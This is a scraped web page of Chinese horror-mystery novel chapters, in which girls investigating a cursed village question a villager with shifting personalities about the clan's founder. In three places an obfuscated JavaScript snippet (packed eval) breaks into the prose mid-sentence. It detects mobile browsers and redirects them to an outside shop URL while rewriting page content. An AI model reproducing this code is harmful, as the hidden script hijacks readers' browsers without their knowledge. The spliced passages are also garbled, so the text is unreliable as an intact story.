算、算是吧。未来城市群也是城里嘛,虽然那时候早就没了城乡的区别。三人都乖乖点头。 “小姑娘,你们生来享福,而我们每一天都是在熬日子,也是在作孽。搬,能搬到哪里去?只要一天是孟溪村的人,就一辈子都逃不脱,走到天涯海角,终究是要回来的。”沈三姑那张精明的面孔出现一种难以言喻的神情,周嘉语完全无法形容,只是觉得她现在看上去好难过。 正犹豫要不要安慰她几句,沈三姑已经从情绪里挣脱出来,看着她们说:“你们几个能找到这里来,也是命运不济。” 巧了,她们也是这么觉得的。本来可以好好的在家打游戏玩乐,却被骗到这种地方来,可不是命运不济嘛。 注意到自己开始产生负面的想法,周嘉语摇了摇头,努力维系自己的人设:“这是从何说起啊,村子虽然偏僻了点,但也是自己的根呢,出去的人念着自己的家不是很正常的事吗?我们小区里有好多老人就是从村子里搬来的,一直都念叨着要落叶归根呢,他们的孩子也经常带老人回乡下的老家看看。” 沈三姑笑着点头:“是这样没错,但不一样的。” 周嘉语反问道:“哪不一样了?”她学着有归的样子眨巴了一下眼睛,自己的都觉得恶寒,但还是坚强地维持着天真无邪的模样,一副城里人什么都不懂的清澈。 沈三姑说:“我们从不念着这里,却不得不念着这里。从前不是没有人想过离开这里,到别的地方去。沈琏那老家伙年轻的时候就不信邪,什么都不要,自己一路走到镇上去,靠别人给的几个馒头撑了几天,最后真让他成功了,坐上车去了很远很远的城市,可是兜兜转转,最后他还是回来了。” 这经历好像有些熟悉呢,周嘉语一想,这不是村长老头今天给她们说的吗。那个阴骘的怪老头年轻时居然这么叛逆,可是他后来怎么又回来了,还变成了现在这副样子。 “三姑,您说的这个人是村长爷爷吗?” 沈三姑诧异道:“你们见过那老家伙了啊,他还跟你们说过这个?” 周嘉语简单说了在小楼发生的对话,沈三姑笑道:“那老家伙对你们还不错,居然愿意说那么多,看来他还挺喜欢你们的。” 三人默默对视一眼,周嘉语无声苦笑,原来这种待遇还算是好的,那不喜欢的表现岂不是......她打了个冷颤,告诉自己不要再想下去。 “村长爷爷最后为什么又回来了呢?他年轻的时候就出去了,应该在外面安家落户了吧,他的家人呢?” 沈三姑沉默了很久,吊梢眼细眉毛全都耷拉下来,显得有些滑稽。但周嘉语并不觉得好笑,她的心提了起来,小余原本数手指已经数到第十遍了,这时候却扭头去找沈三姑,脑袋埋进她的怀里蹭蹭,仰起小脸看她。 “好孩子,我没事。”沈三姑摸了摸小余的头,转头对周嘉语她们说,“都死了,他的家人都死了,他就回来了。” 虽然天有不测风云,人有旦夕祸福,天灾人祸的事情确实说不清,遇到一个意外全家死绝的事情也常有发生,但沈三姑把村长老头家人的死和他回来联系在一起,实在让人毛骨悚然。 周嘉语忽然想起自己偶尔冒出来的念头,她觉得可以沿着山路向外走,总是可以找到求助的对象。现在想来,因为村长老头的逃离,他的家人只是和他生活在一起,就落得死于非命的下场。而她们这些亲身进入孟溪村的人,如果执意离开这里,又会是什么结果呢? 她问沈三姑:“村长爷爷的家人是怎么死的?” 沈三姑说:“沈琏的妻子和一双儿女是在他外出的时候失踪的,等他回家,只看到满屋的血迹和残肢碎肉。” 艾莉安听得心惊肉跳:“是、是被野兽吃了吗?” 沈三姑摇头,“不知道,但应该不是。他们住的那个地方,虽然接近郊区,但那地方鱼龙混杂人来人往,不可能有吃人的野兽。他们是住的当地人的房子,左右邻居都反映没有看到母子三人出门,也没有听到屋子里有声音,更没有人来找过她们。这桩案子当初震惊了云国,因为警察什么也没有找到,门窗都是好好的,现场没有任何入侵的痕迹,没有尸体没有凶器。警察查无可查,最后不了了之,这个案子就成了一桩悬案。” 艾莉安瑟瑟发抖,把自己缩成一团拼命靠近周嘉语。周嘉语自己也怕得要死,还是轻轻拍着艾莉安的手,告诉她自己在,抖着声音问:“然后村长爷爷就回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16522514|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 沈三姑算了一下,说,“他是五年前回来的,后来上一任村长过世,因为他在外面见了世面,就让他接任了。” 沉默了一下,她说:“其实沈琏不应该离开的,当初我也劝过,但拦不住他。其实这么多年来他不是第一个离开的,离开后又回来的他是头一个。” 周嘉语小声问:“那这些人?” 沈三姑漠然道:“都死在外头了,不过生前逃得出去,死后终究是要回来的。” 这什么意思?周嘉语没敢问,她直觉会得到一个非常可怕的答案,周嘉文艾莉安则是大眼瞪小眼,完全不明白。 “意思是人是死在外头,但他们的尸体依旧会被安葬在祖坟山?村民们的尸体长脚了,自己走回来的?”有归一边说着恐怖的话,一边转头问周嘉语,“你知道那些人的名字吗?” 周嘉语看有归的眼神一言难尽,有归眨巴了一下眼睛,歪头看她:“怎么了?” 她收回目光,“你都不害怕的吗?”她居然还认真想了想:“不怕啊。” 周嘉语无话可说,把自己偷偷记下来的名字说给有归,又道:“沈三姑说沈凌璧曾留下家训,要求沈氏儿孙固守乡野,勿出孟溪。可惜后人不听劝,带累多少无辜。” 有归正写那死亡名单上三女七男的名字,闻言道:“也不奇怪,年复一年日复一日的枯燥生活是会把人逼疯的,在沈凌璧这一代人逝去后,再多的记述警告都只留存于纸面,后人体会不深,对于这些家规家训难免有违背或者反抗。”只是心下不免恻然,孟溪村的这场无妄之灾就像是一个诅咒,镌刻在灵魂深处,烙印在血脉中,祸害一代又一代人,连死亡也无法解脱。 难怪孟溪村是如此布局,难怪沈凌璧毫不犹豫将族人困死其中,原来她早知这是一条不归路。 有归看着自己亲手写下的十个名字,沈凌璧留下那条家训时或许就已经知道到现在这个结果了吧。 既然死亡不是终点,那么,她们苦苦追寻的彼岸又在何方? 黎重看见有归把那份死亡名单小心地收起来,不由道:“就算找到这些人的坟墓也不能说明什么,难不成你要一个个挖开他们的坟墓确定尸体在不在里面吗?”万一孟溪村的风俗就是人出生即选定墓地,死后再归葬呢,这种奇奇怪怪的地方,也不是没有可能。 有归点头,“如果可以的话,我还想仔细检查一下他们的尸体。”她想看一下村民们到底特殊在哪。沈三姑的话,让她忽然有了一种模糊的感觉,或许孟溪村真正重要的,不是那些还活着的人,而是躺在祖坟地的那些尸体。这种念头刚冒出来的时候,她自己都觉得可笑,死人还能比活人重要? “你还会解剖?”黎重本来是随口一说,哪知有归真的点头:“技多不压身嘛。”其实是当时人口锐减,什么行业都缺人,她就被当成了一块砖,哪里需要哪里搬,学会了许多奇奇怪怪的技能。而有归真正独立解剖的第一具尸体,是她最熟悉的人,从小看顾她长大的专门小组的组长戚雪风。 34. 第 34 章 这只是一个小插曲,有归记了一笔,示意周嘉语继续往下说。 当时沈三姑的话听的在场三人汗毛都竖起来了,但周嘉语还是硬着头皮接着话题发挥:“原来那些离开的人都会被接回来安葬的。那明天还可以顺道先祭拜一下他们呢,虽然做错了事,但总是落叶归根了。三姑我们明天要去祖坟地看一下,有什么需要注意的吗。” 于是发生了如下对话: 沈三姑奇怪地看了她们一眼:“你们明天去祖坟山做什么?” 周嘉语死死地盯着她的脸,不放过任何细微变化,“村长爷爷今天中午邀请我们一起参观祭祖大典呢,我们想先去熟悉一下地方,免得到时候出丑。” 沈三姑神色阴沉了下来,又像是想起什么似的,叹气道:“既然老家伙请你们一起去祭祖,那是该先去看看,熟悉熟悉场地,记住只用耳朵听用眼睛看,别的什么都不要做!” 沈三姑的神情和语气前所未有的严厉,三人都愣住了,唯唯称是。沈三姑又平静了下来,和颜悦色地和她们说起祭祖典礼的流程,和她们想象的盛大庄重一点关系都没有,孟溪村的祭礼就是全村人带着锅碗瓢盆,然后揪一头大肥猪去祖坟地宰了,用猪肉当场做一顿既不讲究、也不美味的饭菜,大家吃了以后开开心心地下山回家。反正这个祭典唯一的优点就是热闹,超级热闹。 艾莉安周嘉文还不觉得怎样,周嘉语却听得头皮发麻,偷偷觑着沈三姑的表情。不知道是不是心理作用,她总觉得沈三姑的眼神里充满了垂涎和贪婪,仿佛她们才是那头被抬上山的肥猪。 周嘉语苦笑,她们情形又与那肥猪何异?如果不能破局,她们下场恐怕不会好看到哪去,被村民分食,被怪物吞噬,总而言之就是一个死字。 她努力打叠起精神来,心里对和有归一起行动的黎重漫出一点羡慕的同时,迅速从包里掏出一本用来伪装的笔记本:“听上去和别的地方的祭礼有很大不同呢,很、朴素。听说孟溪村的祖先是从以前的倾云城搬过来的,原先是没有祭祖这一习惯的,是从第一任的沈凌璧村长开始的?” “哦,你们倒是知道不少嘛。”沈三姑这语气听上去可不太妙,周嘉语装傻,睁大眼睛努力做出好奇求知的样子,语气十万分地诚恳:“可能您不知道,我们这些人偏爱往险境、奇景走,就是特别希望能发现别人不知道的东西。别的还好,真遇到那种奇绝的风景、特殊的人文,简直就走不动道,非要当时就记录下来才行。” “我们最爱听故事了,可惜现在很少有真故事,好不容易发现这个宝地,我们当然要多打听。可惜村长爷爷不愿意多说,倒是他身边那个溪源小哥很热心肠的指点我们,让我们来找三姑您。溪源小哥说您最古道热肠了,又熟知村里的大小事务,有一肚子的新鲜故事呢。”她努力学着有归的样子,声音放柔,撒娇是不太可能了,但勉强还能做出那种星星眼的模样。心里感叹术业有专攻,如果是有归在这,那用这么费劲。 晚辈的崇拜倾慕总是让人愉悦,尤其是沈三姑这些有了年纪的人,更需要来自别人的肯定来确认自己的价值。她说话的声音都是带笑的:“哎,溪源这孩子就是太实诚,我都一把老骨头了,哪有他说的那么好。” 说是这么说,但你这不是夸自己嘛?周嘉语腹诽归腹诽,该拉关系的时候一点也不马虎:“三姑姑就是太谦虚了,我看溪源小哥一点也没错!”这就喊上姑姑了。 沈三姑笑得跟朵花似的,嘴上还推辞,称呼却亲近了不少:“嘉语你别说了,姑姑我啊可担不起。” 好一番拉扯后,沈三姑终于说了点干货:“你们之前打听的没错,我们孟溪村祖上确是从倾云城迁过来的,虽然不是顶顶有出息的那一支,却也不差。你们知道的沈凌璧村长,是我们这一支的当家人,她一直没有出仕,年轻的时候在各国游学,后来受云京的盛羽帝国学院的邀请,在那里当了很多年老师。” “你们这些孩子恐怕是不知道盛羽学院有多厉害,那可是唯一冠以帝国之名,而且是学院之名在前帝国在后的大陆排名第一的学府。要知道紧随其后的是希尔王国的皇家伊莱学院,同样是知名学府,伊莱学院就只能接受皇室的冠名。” 周嘉语确实不知道这个什么什么学院的,年代太久远了,那段时间的历史又不完整,后人补充的记载也多,分不清到底是真是假。艾莉安倒是听得津津有味,虽然主修噩梦乐园,但那段被赋予“失落”之名的历史她也十分感兴趣,沈三姑说的这些事情她刚好知道:“这个盛羽帝国学院书上有记载,最开始是不叫这个名的,好像是在某一个时期出了很多厉害的人物,从老师到学生都有,风头远远盖过其他的学校,连各国皇室都争着让子弟入读,反而把专门开设的皇家学院给冷落了。” 沈三姑赞赏地对艾莉安点了点头,脸上露出怀念的神色,就好像是作为曾经的一份子,遥遥追忆那段辉煌岁月:“是啊,从盛羽学院还只叫盛羽学院的时候,就有很多厉害的老师学生了。但最开始它在人们眼里也就是一个普通的学院而已,因为招不到好学生,在五年一次的大比一直拿不到好名次。” 见此情景,周嘉语连呼吸都放轻了,手在背后轻轻摆动,示意艾莉安和周嘉文千万别出声。 “从蒋老选择盛羽学院开始,因为他老人家的威望,那些慕名而来想拜入蒋老门下的人总有些会报考学院,渐渐的我们有了一些资质还不错的学生,学校的名气也打出去一些,从名不见经传的盛羽学院到一提起大陆第一修士学校就是盛羽帝国学院,我们花了整整一百五十年。也多亏蒋老,被家族打压的当时的大陆第一天才涂蓝才会加入学院,成为体修一道的老师,补足了学院的短板,让盛羽学院更加出名。” “不过学院被彻底冠以‘帝国’之名,却是因为知羽,她在大比上击败了所有对手,包括当时皇室风头正盛的晏昭郡主。皇室中人不忿,竟指使皇室明堂阁供奉的大境界者对知羽发起挑战,落败后明堂阁高手尽出围攻知羽,知羽击败一十二人,而后墨风、涂蓝登台,三人联手将明堂阁供奉一网打尽,皇室颜面尽失。” 说到这里,沈三姑似乎很感慨,“知羽、墨风、涂蓝三个不世出的天才竟在同一时期出现,也许冥冥之中真有天意,后来被称为天生雷系修炼之道的商秋也被知羽吸引而来,这些孩子硬生生将大陆本该滑落深渊的命运扭转......” 三人听这一段脑补了好多小说桥段,但沈三姑已经彻底沉浸在自己的世界里了,周嘉语适时出声,试探道:“三姑,这么厉害的学校主动邀请沈凌璧村长,她一定很厉害吧。”说着摊开笔记本,还不忘星星眼,“沈村长有什么事迹?” 咔擦—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528008|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在周嘉语看来,沈三姑就像是一台运转良好的机器,听到她的问话后忽然出了故障,茫然地问:“沈凌璧是谁?” “她这是多重人格还是精神分裂?”听到这里,黎重忍不住问。 周嘉语记性很好,而且不知道是不是扮演剧团首席上瘾了,到后面她还演上了,一边本色出演自己,一边模仿沈三姑神态语气将整个场景重现,让西山之行的有归黎重颇有一种自己在听现场的感觉,起了一身鸡皮疙瘩。 有归在心头把沈三姑这些话颠来倒去过了几遍,扭头问三个当事人:“你们觉得呢?” 周嘉语是离沈三姑最近的那个,也更能直观地感受到她的情绪变化,她斟酌着用词:“沈三姑给我的感觉很奇怪,就像是在看一部悬疑电影,时刻都在反转,说起来和在有归身上感觉到的很相似呢。” 有归无语地送了她两个白眼,然后看着莫名开始大笑的周嘉语:“你也觉得她是多重人格?” 周嘉语止了笑,摇头道:“不,我觉得她是多个人格拼凑起来的,是一个拼接人。” 这话说的就有些吓人了,艾莉安低着头在思索,有归便看向周嘉文,只听他说:“我同意嘉语的看法,沈三姑身上矛盾的地方太多了,有些事情她不该知道的,她却表现得自己好像经历这件事的当事人一样。” “第一个,关于沈琏村长妻儿的案子,她说的未免太细节了,当时现场的情况她是怎么知道的?沈琏就算会对别人提起自己妻儿的死,也不会说得这么详细。” 这的确是让人非常在意的地方,有归也不认为沈琏会告诉沈三姑这些,但不同的是,她觉得沈琏根本不可能注意到这些细节。周嘉语显然也想到了,纠正了她哥的说法:“不,你的说法不对,沈琏不会提起这些,是因为他自己也不知道。” “沈琏在孟溪村十几二十年,大字不识一个,什么技能都没有,走出去后也是比较底层的存在——而且他有妻有子,忙着为生活奔波,恐怕也不会有提升自己的机会——见识所限,他的所有注意力恐怕都在失踪的妻儿身上,关注到满屋的血迹,怎么会知道现场没有作案工具以及不具备作案条件这些刑侦细节?” “说的如此头头是道,这个人格恐怕是事件的亲历者,或许是当年经手这个案件的警察,还有追踪报道的记者。”有归下了结论,然后目视周嘉文继续。周嘉文诧异地看着她,见有归笑着点头,他深吸一口气,看着几人:“那我接着往下说了——第二点,是关于盛羽帝国学院。” “盛羽帝国学院我知道的不多,就是在历史书上学到的那些知识,这一部分又和沈三姑说的完全不同。我记得盛羽帝国学院被推为大陆七大学院之首,其中很重要的一个原因是文武并重能人辈出,我们知道的很多云上帝国的名臣,都是盛羽帝国学院的学生。”他眼底渐生困惑,“而且帝国之意,是后世感念学院为帝国做出重大贡献的加上去的,怎么到沈三姑嘴里就变成了盛羽学院的帝国之名,这不是倒反天罡吗。从学院出来的张之卿、茂鸿等人都是治世能臣,历史书上也提到过,至于沈三姑说的那些名字,从来没有听说过。” 有归指尖捏着一支笔,转啊转的,眼底渐有笑意浮现。周嘉语一巴掌把笔拍落,按在桌上,“说吧,你想到什么了?” 她答非所问:“你们觉得沈三姑有没有说谎?” 35. 第 35 章 这个问题只有当时在场的三个人能回答,艾莉安完全沉浸在自己的思绪里,周嘉文回答的不是很坚定:“应该没有吧,她也没有这个必要骗我们。” 周嘉语很肯定地说:“不是,我看得很清楚,她说话的时候那种神色,是演不出来的。” 有归看了黎重一眼,见他点头,笑道:“很好,看来我们都达成共识了。先假设沈三姑说的都是真的,那么盛羽帝国学院就不是一个单纯的学校,它拥有足以动摇国家根基的力量,冠以帝国之名。她提到的那些名字,蒋老、涂蓝、墨风、知羽、商秋,都是盛羽学院的力量来源,个人的武力强大到碾压国家的意志,这就是弥瑞可大陆历史上遗失的修真时代。” 保底活了150年的蒋老,修炼雷系的商秋,体修一道的涂蓝,还有典中典的五年大比,这完全是开卷考试,而且答案直接划给你。 “沈三姑说的这个商秋,是不是就是你刚才梦见的那个叫小秋的女孩?”周嘉语问道。 最适合修习雷系术法的天才,名字里又都有一个秋字,而且小秋的师父提到的那个千年不遇的天才,和沈三姑说的那个知羽也能对上。看沈三姑对这个知羽的描述,她也担得起“千年不遇”这四个字,商秋被她吸引进来也不奇怪,毕竟是从小听说的名字。 有归点头:“应该就是一个人。” 周嘉语很无语:“那你这算什么?又是送纸条提醒,又是送抄底答案的,现在还整上情景重现了,嗯,超绝难度真人恐怖闯关游戏,但剧透版?” “如果没有这些剧透,我觉得我们恐怕都活不过昨晚,而且难度也没降啊,二十四小时不到七分之二的折损率,搁什么游戏都很惊人了吧。” 一番话说得众人都沉默了。 ...... 虽然在周嘉语看来沈三姑的状态十分诡异,但她本人就跟没事人似的,卡了那一句“沈凌璧是谁”,然后就无比流畅地接上了:“沈凌璧当时是盛羽帝国学院的体修老师。”这话略耳熟,似乎刚才沈三姑就说过那个叫涂蓝的天才是体修一道的老师。 体修这个说法有些奇怪,望文生义一下,似乎和体育锻炼什么的有一点关系。沈凌璧好像挺厉害的,身手应该很不错,一个人游学不说,还收到了名牌大学的office,周嘉语有点羡慕。 不过沈凌璧在盛羽帝国学院有什么事迹沈三姑就不知道了,她振振有词:“那都是两百多年前的事了,而且云京在北,倾云城在南,相距千里,一年能托人带一封信回来就不错了,哪还能知道的那么详细。” 这个理由周嘉语勉强接受,但转念一想,刚你自己不还对盛羽帝国学院的事说的头头是道的吗?她也就想想,并不敢出言试探,沈三姑刚才的状态过于吓人了。虽然不敢百分之百确定,但她觉得沈三姑的身体里大概还住着别的灵魂,谁知道里面都住着什么人啊,这要是放出一个暴虐杀人狂,那她们直接就团灭了。 如此平静就接受了这种坑爹的设定,周嘉语自己都觉得惊讶,这大概就是人在极限环境下被迫激发出的无限的潜力吧。 再一想又觉不对,她说:“可是沈凌璧常年在外,怎么会是你们这一支的当家人?” 沈三姑白了她一眼,“当然是她从云京回来才成为我们这支的当家人。她是新历775年1月去的,775年8月的时候回来,在云京待了十九年吧,忽然写信来说她离开盛羽学院,要在倾云城办学。哪知道学校办起来没几年,外面就开始打仗了,本来倾云城还算安全,哪知道希尔王国联合其余几国入侵云上帝国,倾云城首当其冲,当时的大家族都往内陆地区迁徙。” 新历775年,是威克索玛之乱发生的那一年,也是历史失落的开始。 联合军队入侵云上帝国的时间是新历795年,倾云城作为云上帝国南方重镇,首当其冲。 艾莉安紧紧捂住了自己的嘴巴,生怕自己会叫出来,周嘉文也是在极力按捺住自己,周嘉语已经没时间去震惊了,她只是小心翼翼地跟沈三姑确认:“三姑,您说沈凌璧是什么时候去云京,又是什么时候回来的?” “775年1月去的,775年8月回倾云城办学。”沈三姑奇怪地看了她一眼。 “沈凌璧的生卒年您知道吗?还有她是什么时候去游学的,游学了多久?我想多了解她一些,为她写一个人物传记,还想写一个孟溪游记。”周嘉语低着头,十分不好意思的样子。 “这个我知道,她是775年生人,834年去世的,我们那时候也没能回到倾云城的祖宅,只好把她安葬在她生前选定的祖坟地。她是十七岁的时候出门游学的,那一年应该是775年,她在外游历十三年,后来在希尔王国的皇家伊莱学院当了两年老师,775年收到盛羽帝国学院的邀请,就去了云京。”就像是卡带了一样,沈三姑不断地重复着新历775年这个时间点,她本人却没有任何异样,仿佛沈凌璧真的就是在新历775年出生,并且在这一年之内完成了她人生中最重要的那几件事。 周嘉语只觉得一股寒凉从脚底直冲天灵盖,所过之处,血管、骨头、肌肉乃至她的器官,都被冰冻着。可能连脑子也冻住了吧,她僵硬地想着,是她托大了,她该在之前就打住的,她不该贸然触及超出自己认知的东西。 咔嚓—— 她伸出两条上肢,用末端生长的短肉柱体按着自己身体最上方圆形物体,用力一扭,让它转向后方。我现在用以确定自己仍存在的,维持这种被命名为思考的状态的,就是里面被包裹着的那种表面布满沟壑的灰色物质,不知道会是什么味道呢。 面前这两个直立生物没有头发覆盖的圆球扁平的一面,一二三......四,三对孔洞和一个大洞,被那层皮下黄色和红色的东西拉扯成了奇怪的形状。这两颗球里面的东西味道会不会不一样? 在艾莉安和周嘉文的视角,就是双方相谈甚欢,周嘉语忽然伸出手,像掰机器人的头颅那样把脑袋朝向她们,而且用指甲尖拼命往里抠,仿佛是在打开一个熟透的西瓜,品尝里面脆甜的瓜瓤。她转头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537957|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着两人的眼神,像是在评估菜品的滋味,看得两人惊恐莫名。 周嘉语对自己当时的行为是没有多少印象的。 她只觉得一股暖流从心口涌出,流淌过她的四肢和大脑,那种癫狂的、非人的状态隐退无踪,她整个人又重新回来了。此时听两人说起她当时的状态,就像在听另一个人的故事。 那的确是另一个人,周嘉语想,那绝对不是她。 沈三姑神情如常,动作如常,小余依偎着她,在玩她的手指。周嘉语强忍着心头的异样,用言语引导着:“三姑,除了这些,沈凌璧村长还有哪些事迹?听说祖坟地也是她选的,这其中有发生什么故事吗?”绕来绕去,她还是绕回了祖坟地,想挖掘尽可能多的信息。 “倒也没发生什么,祖坟地这事是她直接宣布的,也不知道为什么会选哪里。”沈三姑这口吻,周嘉语心说这回是换了个和沈凌璧同时期的人格出来了? “咦,祖坟地是有什么问题吗?” “倒也没有,只是那边林深树密,路又难走,当时族老们都不太满意。” “那沈凌璧为什么一定要选这里,您知道吗?” 沈三姑摇头,“谁都不知道她怎么想的,莫名离开半个月,回来就宣布说自己选好了祖坟地,怎么反对都没用。” “是去寻亲访友了吧?” “我们在这哪有什么亲友,她是去西南边那边的山坡那,就是现在的祖坟山的另一面。那里有好几个山洞,山洞里有石头做的桌椅板凳,也不知道她是怎么发现的,总是一个人跑去那里呆着——也有人去看过,刚从洞口走进去一点就受不了,都不知道她怎么受得住。那次是住的最久的一次,回来就说自己选好了新墓地,等墓园修好,她去西山那个山上去了一趟,回来就把自己关进了西边那个小楼里,直到要死了才出来,让人把她和理出来的那些书都抬上山,一起埋进墓里。” 周嘉语捂住自己狂跳的心脏,果然,沈凌璧的墓里藏着所有问题的答案。 她下意识算了算沈凌璧的年龄。无视掉混乱的775年,沈三姑说得很清楚,她十七岁出门游学,独自一人在外十三年,又当了两年老师,然后去云京在盛羽帝国学院待了十九年,这时候她已经51岁了。然后她选择回到家乡办学,到她带领沈氏一族离开倾云城,已经71岁了。 在未来时代,71岁不过是人生才启航,那是因为人们的寿命被拉长到三百多岁。而在未来时代之前,71岁放在哪个时期都是半只脚踏进棺材的年纪了,可沈凌璧带着族人横跨大半个云上帝国不说,还上山过河风餐露宿,还能再活39年,足足活到了110岁。这身体素质何止是比肩年轻人,简直就是非人! 周嘉语忽然反应过来,小声地向沈三姑求证:“您说沈凌璧村长让人把她和书埋进墓里,指的是把尸体下葬对吗?” 她眼巴巴地看着沈三姑,希望能得到肯定的回答。哪知沈三姑打量了她一眼,唇角一掀,竟显得有几分可恶:“不是哦,她是活着下葬的。” 36. 第 36 章 那一瞬间,周嘉语还以为自己看到了有归。她默了,没想到沈三姑竟然还有这样活泼的时候,皮这一下的效果也很显著,三人都露出了一言难尽的表情。 见状,沈三姑哈哈大笑,笑声里说不尽的潇洒疏狂,这副做派不太像一个生活在偏僻山村的村妇,倒像是仗剑走天涯的大侠。周嘉语觑着沈三姑,一脸若有所思,但沈三姑没给她时间思考,很快把话题转到了村民身上,她只好努力打叠起精神来,配合她的表演。 是的,表演。 话题进行到这个地步,双方已经心照不宣。沈三姑明了她们绝不是什么为了新剧来此采风的剧团成员,而她不会是偏远山村里见识短浅的村妇,周嘉语也心知肚明,但她们还是忠于自己的人设,将这场戏彻底演完。周嘉语忽然有一种了然似的明悟,又止不住的庆幸,庆幸她们遇到了有归——孟溪村是一个巨大的另类的规则怪谈,它唯一的核心规则就是扮演,而从一开始,有归就领悟到了这条规则。 周嘉语看向沈三姑,她还在滔滔不绝地介绍着孟溪村的村民们,从他们的性命生辰到家庭人口,事无巨细,仿佛她们真的只是在聊家长里短的闲篇。沈三姑在无比认真地扮演自己的角色,一个嘴碎刻薄又热心肠的村妇,周嘉语又想起溪源,溪源也在扮演和孟溪村有遥远血缘关系的亲戚这一角色,也就是村长沈琏的侄孙。 所谓规则怪谈,怪谈是其中的原住民,自有一套运行逻辑,而这套逻辑就是维系怪谈世界正常运转的力,也就是规则。怪谈内部的世界是逻辑自洽的,只有闯入其中的外来者才需要遵循规则,而遵循规则是为了融入怪谈世界的运行体系,避免抹杀的命运。 如果将孟溪村看作是独立于此方天地的怪谈世界,维系这个世界运行的逻辑是什么?明明就是一个诡异的山村,发生了无数恐怖事件,村民们却仍然遵循着日出而作日落而息的生活规律,小楼发生了那么大的动静,居然没有任何人来查看,纸条主人精神崩溃而疯狂的喊叫,在村长沈琏眼里是没礼貌的表现。 所有人都在扮演,给这个扭曲颠倒的世界披上了一张宁静祥和的假面,一旦有人表现异常,将会被立刻清除,世界便又可以完美地运行下去。 这样的行为简直就是在掩耳盗铃! 然而可悲的是,清楚认识到这一点的,似乎只有她们五人,还有眼前的沈三姑和披着人皮的溪源,以及村口的老婆婆。 村长老头并不能算在里面。 她们目前打过交道的这四人,都有自己的明确的角色定位,其中三个清楚她们并非现世之人,而是世外来客,却都没有戳穿她们,甚至还在帮她们遮掩,暗中给她们提供帮助。老婆婆是那个乐子神安排的外挂暂且不论,溪源作为有着正常思维的人却像个怪物一样活着,沈三姑有着多重性的人格但日常人格的表现就是怼天怼地,他们忠于自己的角色,内心并不认同这种虚假的表象。 沈琏却没有这样的认知。是什么造成了这种偏差? 周嘉语一心二用,一边思索问题一边和沈三姑互动,沈三姑将村民们挨个点完名,又说起村中的趣事。她说到祠堂,说起祖坟地,聊到村长沈琏的家,就是不提村东北的那座破屋。周嘉语不知到她是真的忘了还是故意不提,也不清楚这里有什么缘由,但这是她们的目标之一,是无论如何都要探查的地方,她自然不会让沈三姑就这么轻易糊弄过去。 “三姑,听沈琏村长说,村子东北角上的有一间屋子,听说原先住在里面的人死了,那间屋子就变得很不吉利,是发生了什么事情了吗?” 沈三姑嫌恶地皱了皱眉头:“没什么好说的,自作孽不可活,你们听沈琏的就是了。”一副完全不愿意提的样子。 周嘉语不死心还想尝试一番,终端却忽然接通了通话,是黎重发起的强制通讯。听到黎重说有归昏倒了,她立马起身向沈三姑告辞,走到门口忽然又回头,“一直叫您三姑,但您应该有自己的名字的吧,下次我想称呼您的名字。” 她看到沈三姑笑起来,是那种舒展的发自内心的笑容:“曦,我名沈曦。” “曦,沈曦,”有归反复念着这个名字,像是吃东西那样细细咀嚼,咂摸出别样的滋味一样,众人正要问她,却见她忽然转头看向周嘉语:“你有没有觉得哪里不舒服?” 周嘉语叹口气:“这句话应该我问你才对吧?” “别闹,我认真的。”有归左右打量着周嘉语,捏捏她的脸扯扯她的衣裳,还举起手问她,“这是什么?” “你的手。”她老实回答。 周嘉语当然清楚自己的状况,但为了让她们安心,也就随有归折腾了。她跟随有归的问题答出身体各个部位的名称,又条理清晰地介绍完书房,这才被有归放过。 只是有归确认完她的认知没有问题后并没有放松,眉头依旧皱着,皱得周嘉文刚放下的心又提起来了。他作为当时的见证人,周嘉语又是他的血亲,心里的担忧可想而知。周嘉语看见,冲自己哥哥安抚性地一笑,然后问有归:“还有什么事吗?” 有归摇头,顿了一下,说:“我在想沈三......沈三姑说的那些话,她说沈凌璧是活着下葬的,这种做法怎么看都很可疑。” 她为什么要选择这么痛苦的方法?是她的尸体死后会发生什么出人意料的变化,她必须先把自己关进墓里去,还是因为不放心别人操办她的后事,情愿忍受这样的痛苦也要自己一手解决? 沈凌璧这个人简直满身都是谜题,比起站在她身后的那个神秘人物,她自己身处局中,做出的事情却是招招见血毫不含糊。她从来不是一个被动的、被推着走的人,那个把自己完全隐藏起来的修仙者或许真的告诉过她什么,但所有的决定应该都是她自己做的,包括利用风水把自己的族人困死在这里。 既然如此,那她故意在活着时就要求族人把自己下葬这件事就很耐人寻味了,有归非常好奇她的目的。而且这也间接印证了前面周嘉文的猜想,在小楼中消失的东西,果然都被沈凌璧带进了墓里,说不定那木头匣子的钥匙也在里面。可惜的是现在不能动祖坟地,她们只能忍耐。 